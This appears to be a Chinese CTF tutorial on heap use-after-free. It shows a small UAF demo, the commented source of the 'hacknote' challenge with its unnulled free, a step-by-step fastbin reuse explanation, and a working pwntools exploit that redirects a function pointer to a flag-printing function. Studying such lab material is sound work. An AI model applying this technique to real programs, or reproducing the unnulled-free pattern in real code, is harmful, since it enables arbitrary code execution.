关于uaf的demo
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name)); //创建NAME结构体指针并malloc相应的空间
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}
执行结果如下
[root@localhost morty]# ./a.out
this is my function
I can also use it
call print my name
this pogram will crash...
Segmentation fault
下面我们来看下hacknote
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note { #note结构体包含两个指针,一个函数指针,一个字符串指针
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0; // 一个全局的计数器
void print_note_content(struct note *this) { puts(this->content); } #这个函数的作用就是输入一个结构体,打印它的context
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) { //如果当前结构体为空,才会执行以下
notelist[i] = (struct note *)malloc(sizeof(struct note)); //申请响应的堆空间
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content; // 设置函数指针,该函数的操作为:打印该content
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size); // 读取输入的size,并申请响应的值,赋给content
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size); // 然后再为content赋值
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4); //输入序号
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) { //这里就是输入序号并free
free(notelist[idx]->content); //分别free了content和该结构体指针,但都没有置零
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4); //输入序号
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]); //运行函数指针,参数是这个结构体指针
}
}
void magic() { system("cat flag"); } //运行到这个函数就成功了
void menu() { //没什么用
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) { //循环中输入选择
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
我们可以明显的看到del_note在free之后没有置零,导致潜在的uaf,漏洞利用可以如下
- 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为 16 的 fast bin chunk 中链表为 note1->note0
- 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
- note2 其实会分配 note1 对应的内存块。
- real content 对应的 chunk 其实是 note0。
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。
最终的exp如下
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986 #通过objdump -d ./hacknote | less 查找
addnote(32, "aaaa") #创建两个
addnote(32, "ddaa")
delnote(0) #删除两个
delnote(1)
addnote(8, p32(magic)) #申请一个note,正好在note1,然后context为8个字节,因此context落在note0
printnote(0)
r.interactive()
运行结果如下
H localhost.localdomain root / | home | morty python exp.py
[+] Starting local process './hacknote': pid 19408
[*] Switching to interactive mode
this is mortyflag